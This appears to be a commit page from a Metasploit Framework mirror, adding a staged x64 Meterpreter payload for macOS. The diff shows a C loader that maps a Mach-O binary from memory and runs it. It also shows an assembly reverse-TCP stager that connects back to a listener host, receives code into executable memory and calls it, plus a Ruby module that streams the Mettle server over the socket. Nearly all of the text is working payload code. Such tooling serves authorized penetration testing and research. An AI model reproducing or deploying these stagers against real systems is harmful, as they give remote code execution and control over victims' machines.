Browse Source

Land #9366, Add x64 staged Meterpreter for macOS

Brent Cook 2 years ago
parent
commit
05e002e3c5
No account linked to committer's email address

+ 2
- 0
Gemfile.lock View File

@@ -58,6 +58,7 @@ PATH
58 58
       rex-struct2
59 59
       rex-text
60 60
       rex-zip
61
+      ruby-macho
61 62
       ruby_smb
62 63
       rubyntlm
63 64
       rubyzip
@@ -320,6 +321,7 @@ GEM
320 321
     rspec-rerun (1.1.0)
321 322
       rspec (~> 3.0)
322 323
     rspec-support (3.7.0)
324
+    ruby-macho (1.1.0)
323 325
     ruby-rc4 (0.1.5)
324 326
     ruby_smb (0.0.18)
325 327
       bindata

+ 19
- 0
external/source/shellcode/osx/stager/Makefile View File

@@ -0,0 +1,19 @@
1
+CFLAGS=-fno-stack-protector -fomit-frame-pointer -fno-exceptions -fPIC -Os -O0
2
+GCC_BIN_OSX=`xcrun --sdk macosx -f gcc`
3
+GCC_BASE_OSX=$(GCC_BIN_OSX) $(CFLAGS)
4
+GCC_OSX=$(GCC_BASE_OSX) -arch x86_64
5
+
6
+all: clean main_osx
7
+
8
+main_osx: main.c
9
+	$(GCC_OSX) -o $@ $^
10
+
11
+install: main_osx
12
+	cp main_osx ../../../../../data/meterpreter/x64_osx_stage
13
+
14
+shellcode: install
15
+	otool -tv main_osx
16
+
17
+clean:
18
+	rm -f *.o main_osx
19
+

+ 301
- 0
external/source/shellcode/osx/stager/main.c View File

@@ -0,0 +1,301 @@
1
+/*
2
+ * References:
3
+ * @parchedmind
4
+ * https://github.com/CylanceVulnResearch/osx_runbin/blob/master/run_bin.c
5
+ *
6
+ * @nologic
7
+ * https://github.com/nologic/shellcc
8
+ */
9
+
10
+#include <stdio.h>
11
+#include <string.h>
12
+
13
+#include <mach-o/loader.h>
14
+#include <mach-o/nlist.h>
15
+#include <mach-o/dyld.h>
16
+
17
+#include <sys/types.h>
18
+#include <sys/sysctl.h>
19
+
20
+typedef NSObjectFileImageReturnCode (*NSCreateObjectFileImageFromMemory_ptr)(void *address, unsigned long size, NSObjectFileImage *objectFileImage);
21
+typedef NSModule (*NSLinkModule_ptr)(NSObjectFileImage objectFileImage, const char* moduleName, unsigned long options);
22
+
23
+uint64_t find_macho(uint64_t addr, unsigned int increment, unsigned int pointer);
24
+uint64_t find_symbol(uint64_t base, char* symbol);
25
+uint64_t find_entry_offset(struct mach_header_64 *mh);
26
+int string_compare(const char* s1, const char* s2);
27
+int detect_sierra();
28
+
29
+/*#define DEBUG*/
30
+#ifdef DEBUG
31
+static void print(char * str);
32
+#endif
33
+
34
+#define DYLD_BASE_ADDR 0x00007fff5fc00000
35
+
36
+int main(int argc, char** argv)
37
+{
38
+#ifdef DEBUG
39
+  print("main!\n");
40
+#endif
41
+  uint64_t buffer = 0;
42
+  uint64_t buffer_size = 0;
43
+  __asm__(
44
+      "movq %%r10, %0;\n"
45
+      "movq %%r12, %1;\n"
46
+      : "=g"(buffer), "=g"(buffer_size));
47
+
48
+#ifdef DEBUG
49
+  print("hello world!\n");
50
+#endif
51
+
52
+  int sierra = detect_sierra();
53
+  uint64_t binary = DYLD_BASE_ADDR;
54
+  if (sierra) {
55
+    binary = find_macho(0x100000000, 0x1000, 0);
56
+    if (!binary) {
57
+      return 1;
58
+    }
59
+    binary += 0x1000;
60
+  }
61
+  uint64_t dyld = find_macho(binary, 0x1000, 0);
62
+  if (!dyld) {
63
+    return 1;
64
+  }
65
+
66
+  NSCreateObjectFileImageFromMemory_ptr NSCreateObjectFileImageFromMemory_func = (void*)find_symbol(dyld, "_NSCreateObjectFileImageFromMemory");
67
+  if (!NSCreateObjectFileImageFromMemory_func) {
68
+    return 1;
69
+  } 
70
+#ifdef DEBUG
71
+  print("good symbol!\n");
72
+#endif
73
+
74
+  NSLinkModule_ptr NSLinkModule_func = (void*)find_symbol(dyld, "_NSLinkModule");
75
+  if (!NSLinkModule_func) {
76
+    return 1;
77
+  } 
78
+
79
+  if (!sierra) {
80
+    NSCreateObjectFileImageFromMemory_func -= DYLD_BASE_ADDR;
81
+    NSLinkModule_func -= DYLD_BASE_ADDR;
82
+  }
83
+
84
+  /*if (*(char*)buffer == 'b') {*/
85
+  /*print("magic b!\n");*/
86
+  /*}*/
87
+  *(char*)buffer = '\xcf';
88
+  ((uint32_t *)buffer)[3] = MH_BUNDLE;
89
+
90
+  NSObjectFileImage fi = 0; 
91
+  if (NSCreateObjectFileImageFromMemory_func((void*)buffer, buffer_size, &fi) != 1) {
92
+    return 1;
93
+  }
94
+#ifdef DEBUG
95
+  print("created!\n");
96
+#endif
97
+
98
+  NSModule nm = NSLinkModule_func(fi, "", NSLINKMODULE_OPTION_PRIVATE | NSLINKMODULE_OPTION_BINDNOW | NSLINKMODULE_OPTION_RETURN_ON_ERROR);
99
+  if (!nm) {
100
+#ifdef DEBUG
101
+    print("no nm!\n");
102
+#endif
103
+    return 1;
104
+  }
105
+#ifdef DEBUG
106
+  print("good nm!\n");
107
+#endif
108
+
109
+  uint64_t execute_base = (uint64_t)nm;
110
+  execute_base = find_macho(execute_base, sizeof(int), 1);
111
+
112
+  uint64_t entry_off = find_entry_offset((void*)execute_base);
113
+  if (!entry_off) {
114
+    return 1;
115
+  }
116
+  uint64_t entry = (execute_base + entry_off);
117
+  int(*main_func)(int, char**) = (int(*)(int, char**))entry;
118
+  char* socket = (char*)(size_t)argc;
119
+  char *new_argv[] = { "m", socket, NULL };
120
+  int new_argc = 2;
121
+  return main_func(new_argc, new_argv);
122
+}
123
+
124
+uint64_t find_symbol(uint64_t base, char* symbol) 
125
+{
126
+  struct segment_command_64 *sc, *linkedit, *text;
127
+  struct load_command *lc;
128
+  struct symtab_command *symtab;
129
+  struct nlist_64 *nl;
130
+
131
+  char *strtab;
132
+  symtab = 0;
133
+  linkedit = 0;
134
+  text = 0;
135
+
136
+  lc = (struct load_command *)(base + sizeof(struct mach_header_64));
137
+  for (int i=0; i<((struct mach_header_64 *)base)->ncmds; i++) {
138
+    if (lc->cmd == LC_SYMTAB) {
139
+      symtab = (struct symtab_command *)lc;
140
+    } else if (lc->cmd == LC_SEGMENT_64) {
141
+      sc = (struct segment_command_64 *)lc;
142
+      char * segname = ((struct segment_command_64 *)lc)->segname;
143
+      if (string_compare(segname, "__LINKEDIT") == 0) {
144
+        linkedit = sc;
145
+      } else if (string_compare(segname, "__TEXT") == 0) {
146
+        text = sc;
147
+      }
148
+    }
149
+    lc = (struct load_command *)((unsigned long)lc + lc->cmdsize);
150
+  }
151
+
152
+  if (!linkedit || !symtab || !text) {
153
+    return 0;
154
+  }
155
+
156
+  unsigned long file_slide = linkedit->vmaddr - text->vmaddr - linkedit->fileoff;
157
+  strtab = (char *)(base + file_slide + symtab->stroff);
158
+
159
+  nl = (struct nlist_64 *)(base + file_slide + symtab->symoff);
160
+  for (int i=0; i<symtab->nsyms; i++) {
161
+    char *name = strtab + nl[i].n_un.n_strx;
162
+    /*#ifdef DEBUG*/
163
+    /*print(name);*/
164
+    /*print("\n");*/
165
+    /*#endif*/
166
+    if (string_compare(name, symbol) == 0) {
167
+      return base + nl[i].n_value;
168
+    }
169
+  }
170
+
171
+  return 0;
172
+}
173
+
174
+uint64_t syscall_chmod(uint64_t path, long mode) 
175
+{
176
+  uint64_t chmod_no = 0x200000f;
177
+  uint64_t ret = 0;
178
+  __asm__(
179
+      "movq %1, %%rax;\n"
180
+      "movq %2, %%rdi;\n"
181
+      "movq %3, %%rsi;\n"
182
+      "syscall;\n"
183
+      "movq %%rax, %0;\n"
184
+      : "=g"(ret)
185
+      : "g"(chmod_no), "S"(path), "g"(mode)
186
+      :);
187
+  return ret;
188
+}
189
+
190
+uint64_t find_macho(uint64_t addr, unsigned int increment, unsigned int pointer) 
191
+{
192
+  while(1) {
193
+    uint64_t ptr = addr;
194
+    if (pointer) {
195
+      ptr = *(uint64_t *)ptr;
196
+    }
197
+    unsigned long ret = syscall_chmod(ptr, 0777);
198
+    if (ret == 0x2 && ((int *)ptr)[0] == MH_MAGIC_64) {
199
+      return ptr;
200
+    }
201
+
202
+    addr += increment;
203
+  }
204
+  return 0;
205
+}
206
+
207
+uint64_t find_entry_offset(struct mach_header_64 *mh)
208
+{
209
+  struct entry_point_command *entry;
210
+  struct load_command *lc = (struct load_command *)((void*)mh + sizeof(struct mach_header_64));
211
+  for (int i=0; i<mh->ncmds; i++) {
212
+    if (lc->cmd == LC_MAIN) {
213
+      entry = (struct entry_point_command *)lc;
214
+      return entry->entryoff;
215
+    }
216
+
217
+    lc = (struct load_command *)((unsigned long)lc + lc->cmdsize);
218
+  }
219
+
220
+  return 0;
221
+}
222
+
223
+int string_compare(const char* s1, const char* s2) 
224
+{
225
+  while (*s1 != '\0' && *s1 == *s2)
226
+  {
227
+    s1++;
228
+    s2++;
229
+  }
230
+  return (*(unsigned char *) s1) - (*(unsigned char *) s2);
231
+}
232
+
233
+int detect_sierra()
234
+{
235
+  uint64_t sc_sysctl = 0x20000ca;
236
+  int name[] = { CTL_KERN, KERN_OSRELEASE };
237
+  uint64_t nameptr = (uint64_t)&name;
238
+  uint64_t namelen = sizeof(name)/sizeof(name[0]);
239
+  char osrelease[32];
240
+  size_t size = sizeof(osrelease);
241
+  uint64_t valptr = (uint64_t)osrelease;
242
+  uint64_t valsizeptr = (uint64_t)&size;
243
+  uint64_t ret = 0;
244
+
245
+  __asm__(
246
+      "mov %1, %%rax;\n"
247
+      "mov %2, %%rdi;\n"
248
+      "mov %3, %%rsi;\n"
249
+      "mov %4, %%rdx;\n"
250
+      "mov %5, %%r10;\n"
251
+      "xor %%r8, %%r8;\n"
252
+      "xor %%r9, %%r9;\n"
253
+      "syscall;\n"
254
+      "mov %%rax, %0;\n"
255
+      : "=g"(ret)
256
+      : "g"(sc_sysctl), "g"(nameptr), "g"(namelen), "g"(valptr), "g"(valsizeptr)
257
+      : );
258
+
259
+  // osrelease is 16.x.x on Sierra
260
+  if (ret == 0 && size > 2) {
261
+    if (osrelease[0] == '1' && osrelease[1] < '6') {
262
+      return 0;
263
+    }
264
+    if (osrelease[0] <= '9' && osrelease[1] == '.') {
265
+      return 0;
266
+    }
267
+  }
268
+  return 1;
269
+}
270
+
271
+#ifdef DEBUG
272
+int string_len(const char* s1) 
273
+{
274
+  const char* s2 = s1;
275
+  while (*s2 != '\0')
276
+  {
277
+    s2++;
278
+  }
279
+  return (s2 - s1);
280
+}
281
+
282
+void print(char * str) 
283
+{
284
+  long write = 0x2000004;
285
+  long stdout = 1;
286
+  unsigned long len = string_len(str);
287
+  unsigned long long addr = (unsigned long long) str;
288
+  unsigned long ret = 0;
289
+  /* ret = write(stdout, str, len); */
290
+  __asm__(
291
+      "movq %1, %%rax;\n"
292
+      "movq %2, %%rdi;\n"
293
+      "movq %3, %%rsi;\n"
294
+      "movq %4, %%rdx;\n"
295
+      "syscall;\n"
296
+      "movq %%rax, %0;\n"
297
+      : "=g"(ret)
298
+      : "g"(write), "g"(stdout), "S"(addr), "g"(len)
299
+      : "rax", "rdi", "rdx" );
300
+}
301
+#endif

BIN
external/source/shellcode/osx/stager/main_osx View File


+ 1
- 0
metasploit-framework.gemspec View File

@@ -118,6 +118,7 @@ Gem::Specification.new do |spec|
118 118
   #
119 119
   # Needed by auxiliary/gather/http_pdf_authors module
120 120
   spec.add_runtime_dependency 'pdf-reader'
121
+  spec.add_runtime_dependency 'ruby-macho'
121 122
 
122 123
   #
123 124
   # Protocol Libraries

+ 102
- 28
modules/payloads/stagers/osx/x64/reverse_tcp.rb View File

@@ -7,8 +7,9 @@ require 'msf/core/handler/reverse_tcp'
7 7
 
8 8
 module MetasploitModule
9 9
 
10
-  CachedSize = 154
10
+  CachedSize = 168
11 11
 
12
+  include Msf::Payload::TransportConfig
12 13
   include Msf::Payload::Stager
13 14
 
14 15
   def initialize(info = { })
@@ -21,35 +22,108 @@ module MetasploitModule
21 22
       'Arch'        => ARCH_X64,
22 23
       'Handler'     => Msf::Handler::ReverseTcp,
23 24
       'Convention'  => 'sockedi',
24
-      'Stager'      =>
25
-      {
26
-        'Offsets' =>
27
-        {
28
-          'LHOST' => [ 37, 'ADDR'],
29
-          'LPORT' => [ 35, 'n']
30
-        },
31
-        'Payload' =>
32
-          "\xb8\x61\x00\x00\x02\x6a\x02\x5f\x6a\x01\x5e\x48" +
33
-          "\x31\xd2\x0f\x05\x49\x89\xc5\x48\x89\xc7\xb8\x62" +
34
-          "\x00\x00\x02\x48\x31\xf6\x56\x48\xbe\x00\x02\x15" +
35
-          "\xb3\x7f\x00\x00\x01\x56\x48\x89\xe6\x6a\x10\x5a" +
36
-          "\x0f\x05\x4c\x89\xef\xb8\x1d\x00\x00\x02\x48\x31" +
37
-          "\xc9\x51\x48\x89\xe6\xba\x04\x00\x00\x00\x4d\x31" +
38
-          "\xc0\x4d\x31\xd2\x0f\x05\x41\x5b\x4c\x89\xde\x81" +
39
-          "\xe6\x00\xf0\xff\xff\x81\xc6\x00\x10\x00\x00\xb8" +
40
-          "\xc5\x00\x00\x02\x48\x31\xff\x48\xff\xcf\xba\x07" +
41
-          "\x00\x00\x00\x41\xba\x02\x10\x00\x00\x49\x89\xf8" +
42
-          "\x4d\x31\xc9\x0f\x05\x48\x89\xc6\x56\x4c\x89\xef" +
43
-          "\x48\x31\xc9\x4c\x89\xda\x4d\x31\xc0\x4d\x31\xd2" +
44
-          "\xb8\x1d\x00\x00\x02\x0f\x05\x58\xff\xd0"
45
-      }
46 25
     ))
47 26
   end
48 27
 
49
-  def handle_intermediate_stage(conn, p)
50
-    #
51
-    # Our stager payload expects to see a next-stage length first.
52
-    #
53
-    conn.put([p.length].pack('V'))
28
+  def generate(opts = {})
29
+    encoded_port = "%.8x" % [datastore['LPORT'].to_i,2].pack("vv").unpack("N").first
30
+    encoded_host = "%.8x" % Rex::Socket.addr_aton(datastore['LHOST']||"127.127.127.127").unpack("V").first
31
+    retry_count = datastore['StagerRetryCount']
32
+    seconds = datastore['StagerRetryWait']
33
+    sleep_seconds = seconds.to_i
34
+    sleep_nanoseconds = (seconds % 1 * 1000000000).to_i
35
+
36
+    stager_asm = %(
37
+    ; mmap(0x0, 0x1000, 0x7, 0x1002, 0x0, 0x0)
38
+    push 0
39
+    pop rdi
40
+    push 0x1000
41
+    pop rsi
42
+    push 7
43
+    pop rdx
44
+    push 0x1002
45
+    pop r10
46
+    push 0
47
+    pop r8
48
+    push 0
49
+    pop r9
50
+    push 0x20000c5
51
+    pop rax
52
+    syscall
53
+    jb failed
54
+
55
+    mov r12, rax
56
+    push 0
57
+    pop r10
58
+    push #{retry_count}
59
+    pop r11
60
+
61
+  socket:
62
+    ; socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
63
+    push    2
64
+    pop     rdi              ; rdi=AF_INET
65
+    push    1
66
+    pop     rsi              ; rsi=SOCK_STREAM
67
+    push    0
68
+    pop     rdx              ; rdx=IPPROTO_IP
69
+    push    0x2000061
70
+    pop     rax
71
+    syscall
72
+    jb retry
73
+
74
+    ; connect (sockfd, {AF_INET,4444,127.0.0.1}, 16);
75
+    mov     rdi, rax
76
+    mov     rax, 0x#{encoded_host}#{encoded_port}
77
+    push    rax
78
+    push    rsp
79
+    pop     rsi
80
+    push    16
81
+    pop     rdx
82
+    push    0x2000062
83
+    pop     rax
84
+    syscall
85
+    jb retry
86
+
87
+    ; recvfrom(sockfd, addr, 0x1000)
88
+    mov rsi, r12
89
+    push 0x1000
90
+    pop rdx
91
+    push 0x200001d
92
+    pop rax
93
+    syscall
94
+    jb retry
95
+
96
+    call r12
97
+
98
+  retry:
99
+    dec r11
100
+    jz failed
101
+
102
+    push 0
103
+    pop rdi
104
+    push 0
105
+    pop rsi
106
+    push 0
107
+    pop rdx
108
+    push 0
109
+    pop r10
110
+    push   0x#{sleep_nanoseconds.to_s(16)}
111
+    push   0x#{sleep_seconds.to_s(16)}
112
+    push rsp
113
+    pop r8
114
+    push 0x200005d
115
+    pop rax
116
+    syscall
117
+    jmp socket
118
+
119
+  failed:
120
+    push   0x2000001
121
+    pop    rax
122
+    push   0x1
123
+    pop    rdi
124
+    syscall ; exit(1)
125
+    )
126
+
127
+    Metasm::Shellcode.assemble(Metasm::X64.new, stager_asm).encode_string
54 128
   end
55 129
 end

+ 145
- 0
modules/payloads/stages/osx/x64/meterpreter.rb View File

@@ -0,0 +1,145 @@
1
+##
2
+# This module requires Metasploit: http://metasploit.com/download
3
+# Current source: https://github.com/rapid7/metasploit-framework
4
+##
5
+
6
+require 'msf/base/sessions/meterpreter_x64_osx'
7
+require 'msf/base/sessions/meterpreter_options'
8
+require 'msf/base/sessions/mettle_config'
9
+require 'macho'
10
+
11
+module MetasploitModule
12
+  include Msf::Sessions::MeterpreterOptions
13
+  include Msf::Sessions::MettleConfig
14
+
15
+  def initialize(info = {})
16
+    super(update_info(info,
17
+      'Name'          => 'OSX Meterpreter',
18
+      'Description'   => 'Inject the mettle server payload (staged)',
19
+      'Platform'      => 'osx',
20
+      'Author'        => [
21
+        'parchedmind',  # osx_runbin
22
+        'nologic',      # shellcc
23
+        'timwr',        # metasploit integration
24
+        ],
25
+      'References'    => [
26
+          [ 'URL', 'https://github.com/CylanceVulnResearch/osx_runbin' ],
27
+          [ 'URL', 'https://github.com/nologic/shellcc' ]
28
+        ],
29
+      'Arch'         => ARCH_X64,
30
+      'License'      => MSF_LICENSE,
31
+      'Session'      => Msf::Sessions::Meterpreter_x64_OSX,
32
+      'Convention'   => 'sockedi',
33
+      )
34
+    )
35
+  end
36
+
37
+  def handle_intermediate_stage(conn, payload)
38
+    stager_file = File.join(Msf::Config.data_directory, "meterpreter", "x64_osx_stage")
39
+    data = File.binread(stager_file)
40
+    macho = MachO::MachOFile.new_from_bin(data)
41
+    main_func = macho[:LC_MAIN].first
42
+    entry_offset = main_func.entryoff
43
+
44
+    output_data = ''
45
+    for segment in macho.segments
46
+      for section in segment.sections
47
+        file_section = segment.fileoff + section.offset
48
+        vm_addr = section.addr - 0x100000000
49
+        section_data = data[file_section, section.size]
50
+        if output_data.size < vm_addr
51
+          output_data += "\x00" * (vm_addr - output_data.size)
52
+        end
53
+        if section_data
54
+          output_data[vm_addr, output_data.size] = section_data
55
+        end
56
+      end
57
+    end
58
+
59
+    midstager_asm = %(
60
+      push rdi                    ; save sockfd
61
+      xor rdi, rdi                ; address
62
+      mov rsi, #{output_data.length}  ; length
63
+      mov rdx, 0x7                ; PROT_READ | PROT_WRITE | PROT_EXECUTE
64
+      mov r10, 0x1002             ; MAP_PRIVATE | MAP_ANONYMOUS
65
+      xor r8, r8                  ; fd
66
+      xor r9, r9                  ; offset
67
+      mov eax, 0x20000c5          ; mmap
68
+      syscall
69
+
70
+      mov r12, rax
71
+
72
+      mov rdx, rsi                ; length
73
+      mov rsi, rax                ; address
74
+      pop rdi                     ; sockfd
75
+      mov r10, 0x40               ; MSG_WAITALL
76
+      xor r8, r8                  ; srcaddr
77
+      xor r9, r9                  ; addrlen
78
+      mov eax, 0x200001d          ; recvfrom
79
+      syscall
80
+
81
+      push rdi                    ; save sockfd
82
+      xor rdi, rdi                ; address
83
+      mov rsi, #{payload.length}  ; length
84
+      mov rdx, 0x7                ; PROT_READ | PROT_WRITE | PROT_EXECUTE
85
+      mov r10, 0x1002             ; MAP_PRIVATE | MAP_ANONYMOUS
86
+      xor r8, r8                  ; fd
87
+      xor r9, r9                  ; offset
88
+      mov eax, 0x20000c5          ; mmap
89
+      syscall
90
+
91
+      mov rdx, rsi                ; length
92
+      mov rsi, rax                ; address
93
+      pop rdi                     ; sockfd
94
+      mov r10, 0x40               ; MSG_WAITALL
95
+      xor r8, r8                  ; srcaddr
96
+      xor r9, r9                  ; addrlen
97
+      mov eax, 0x200001d          ; recvfrom
98
+      syscall
99
+
100
+      mov r10, rsi
101
+
102
+      ; setup stack?
103
+      and rsp, -0x10              ; Align
104
+      add sp, 0x40                ; Add room for initial stack and prog name
105
+      mov rax, 109                ; prog name "m"
106
+      push 0                      ;
107
+      mov rcx, rsp                ; save the stack
108
+      push 0
109
+      push 0
110
+      push 0
111
+      push 0
112
+      push 0
113
+      push 0
114
+      push rdi                    ; ARGV[1] int sockfd
115
+      push rcx                    ; ARGV[0] char *prog_name
116
+      mov rax, 2                  ; ARGC
117
+      push rax
118
+
119
+      mov rsi, r12
120
+      mov r12, rdx
121
+
122
+      mov rax, #{entry_offset}
123
+      add rsi, rax
124
+      call rsi
125
+
126
+      ; exit
127
+      mov eax, 0x2000001
128
+      mov rdi, 0x1
129
+      syscall
130
+    )
131
+    midstager = Metasm::Shellcode.assemble(Metasm::X64.new, midstager_asm).encode_string
132
+    print_status("Transmitting first stager...(#{midstager.length} bytes)")
133
+
134
+    conn.put(midstager) == midstager.length
135
+    print_status("Transmitting second stager...(#{output_data.length} bytes)")
136
+    conn.put(output_data) == output_data.length
137
+  end
138
+
139
+  def generate_stage(opts = {})
140
+    mettle_macho = MetasploitPayloads::Mettle.new('x86_64-apple-darwin',
141
+      generate_config(opts.merge({scheme: 'tcp'}))).to_binary :exec
142
+    mettle_macho[0] = 'b'
143
+    mettle_macho
144
+  end
145
+end

Loading…
Cancel
Save